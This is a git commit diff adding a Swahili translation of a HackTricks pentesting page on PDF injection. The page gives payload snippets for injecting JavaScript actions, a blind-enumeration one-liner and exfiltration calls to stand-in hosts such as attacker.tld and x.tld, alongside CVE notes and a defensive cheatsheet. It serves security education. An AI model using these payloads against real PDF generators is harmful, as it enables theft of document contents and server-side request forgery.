Translated ['src/pentesting-web/xss-cross-site-scripting/pdf-injection.m

This commit is contained in:
Translator 2025-08-04 18:13:44 +00:00
parent 3890a247bd
commit d169de0e54

View File

@ -1,7 +1,55 @@
{{#include ../../banners/hacktricks-training.md}}
**Ikiwa ingizo lako linaonyeshwa ndani ya faili ya PDF, unaweza kujaribu kuingiza data ya PDF ili kutekeleza JavaScript au kuiba maudhui ya PDF.**
Cheki chapisho: [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
# PDF Injection
{{#include ../../banners/hacktricks-training.md}}
**Ikiwa ingizo lako linaonyeshwa ndani ya faili la PDF, unaweza kujaribu kuingiza data ya PDF ili kutekeleza JavaScript, kufanya SSRF au kuiba maudhui ya PDF.**
Sintaksia ya PDF ni ya kuruhusu sana - ikiwa unaweza kutoka kwenye mfuatano au kamusi inayojumuisha ingizo lako unaweza kuongeza vitu vipya kabisa (au funguo mpya katika kitu hicho hicho) ambacho Acrobat/Chrome kitafurahia kuchambua.
Tangu mwaka wa 2024, wimbi la ripoti za bug-bounty limeonyesha kwamba *parenthesis moja isiyo na kuepukwa au back-slash inatosha* kwa utekelezaji kamili wa script.
## TL;DR Mchakato wa Shambulio wa Kisasa (2024)
1. Pata thamani yoyote inayodhibitiwa na mtumiaji ambayo inaishia ndani ya **(parenthesis string)**, `/URI ( … )` au `/JS ( … )` uwanja katika PDF iliyozalishwa.
2. Ingiza `) ` (kufunga mfuatano) ikifuatiwa na moja ya primitives zilizo hapa chini na kumaliza na parenthesis nyingine ya ufunguzi ili kuweka sintaksia kuwa sahihi.
3. Toa PDF yenye uharibifu kwa mwathirika (au kwa huduma ya nyuma inayotengeneza faili kiotomatiki - nzuri kwa makosa ya kipofu).
4. Payload yako inafanya kazi katika mtazamaji wa PDF:
* Chrome / Edge → PDFium Sandbox
* Firefox → PDF.js (ona CVE-2024-4367)
* Acrobat → Full JavaScript API (inaweza kuhamasisha maudhui ya faili yoyote kwa `this.getPageNthWord`)
Mfano (kuiba kiungo cha maelezo):
```pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (
```
*`)` ya kwanza inafunga mfuatano wa URI wa awali, kisha tunaongeza kamusi mpya ya **Action** ambayo Acrobat itatekeleza wakati mtumiaji anapobofya kiungo.*
## Primitives za Injection Zinazofaa
| Lengo | Kipande cha Payload | Maelezo |
|------|-----------------|-------|
| **JavaScript kwenye ufunguzi** | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Inatekelezwa mara moja wakati hati inafunguliwa (inafanya kazi katika Acrobat, si katika Chrome). |
| **JavaScript kwenye kiungo** | `/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>` | Inafanya kazi katika PDFium & Acrobat ikiwa unadhibiti `/Link` annotation. |
| **Kuvuja kwa data kwa siri** | `<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)` | Changanya na `this.getPageNthWord` ndani ya JS ili kuiba maudhui. |
| **Server-Side SSRF** | Kama ilivyo hapo juu lakini lengo ni URL ya ndani nzuri wakati PDF inatolewa na huduma za ofisi za nyuma ambazo heshimu `/URI`. |
| **Mstari wa Kuvunja kwa vitu vipya** | `\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj` | Ikiwa maktaba inakuwezesha kuingiza wahusika wapya wa mstari unaweza kuunda vitu vipya kabisa. |
## Hila ya Blind Enumeration
Gareth Heyes (PortSwigger) alitoa mstari mmoja unaoelezea kila kitu ndani ya hati isiyojulikana muhimu unaposhindwa kuona PDF iliyotengenezwa:
```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```
K code inazunguka Acrobat DOM na kufanya maombi ya nje kwa kila mali/kiwango, ikikupa *JSON-ish* dump ya faili. Tazama karatasi ya nyeupe “Portable Data **ex**Filtration” kwa mbinu kamili.
## Real-World Bugs (2023-2025)
* **CVE-2024-4367** Utekelezaji wa JavaScript wa kiholela katika PDF.js ya Firefox kabla ya 4.2.67 ilipita sandbox kwa hatua iliyoundwa ya `/JavaScript`.
* **Bug bounty 2024-05** Fintech kubwa iliruhusu maelezo ya ankara yaliyotolewa na wateja ambayo yalifika katika `/URI`; ripoti ililipwa $10k baada ya kuonyesha SSRF kwa mwenyeji wa metadata wa ndani kwa kutumia `file:///` URI.
* **CVE-2023-26155** `node-qpdf` command-injection kupitia njia ya PDF isiyo safishwa inaonyesha umuhimu wa kukwepa backslashes na mabano hata *kabla* ya safu ya PDF.
## Defensive Cheatsheet
1. **Usiunganishe kamwe pembejeo za mtumiaji za moja kwa moja** ndani ya `(``)` nyuzi au majina. Kwepa `\`, `(`, `)` kama inavyohitajika na §7.3 ya spesifiki ya PDF au tumia nyuzi za hex `<...>`.
2. Ikiwa unajenga viungo, pendelea `/URI (https://…)` ambayo ume *weka* URL-kodisha kikamilifu; zuia mipango ya `javascript:` katika watazamaji wa mteja.
3. Ondoa au thibitisha kamusi za `/OpenAction`, `/AA` (hatua za ziada), `/Launch`, `/SubmitForm` na `/ImportData` wakati wa usindikaji wa baada ya PDFs.
4. Kwenye upande wa seva, uwasilishe PDFs zisizoaminika kwa kutumia *converter isiyo na kichwa* (mfano qpdf decrypt linearize) ambayo inatoa JavaScript na hatua za nje.
5. Hifadhi watazamaji wa PDF wakiwa na sasisho; PDF.js < 4.2.67 na Acrobat Reader kabla ya patchi za Julai 2024 zinaruhusu utekelezaji wa msimbo wa kawaida.
## References
* Gareth Heyes, “Portable Data exFiltration XSS for PDFs”, PortSwigger Research (updated May 2024). <https://portswigger.net/research/portable-data-exfiltration>
* Dawid Ryłko, “CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js” (Apr 2024). <https://dawid.dev/sec/cve-2024-4367-arbitrary-javascript-execution-in-pdf-js>
{{#include ../../banners/hacktricks-training.md}}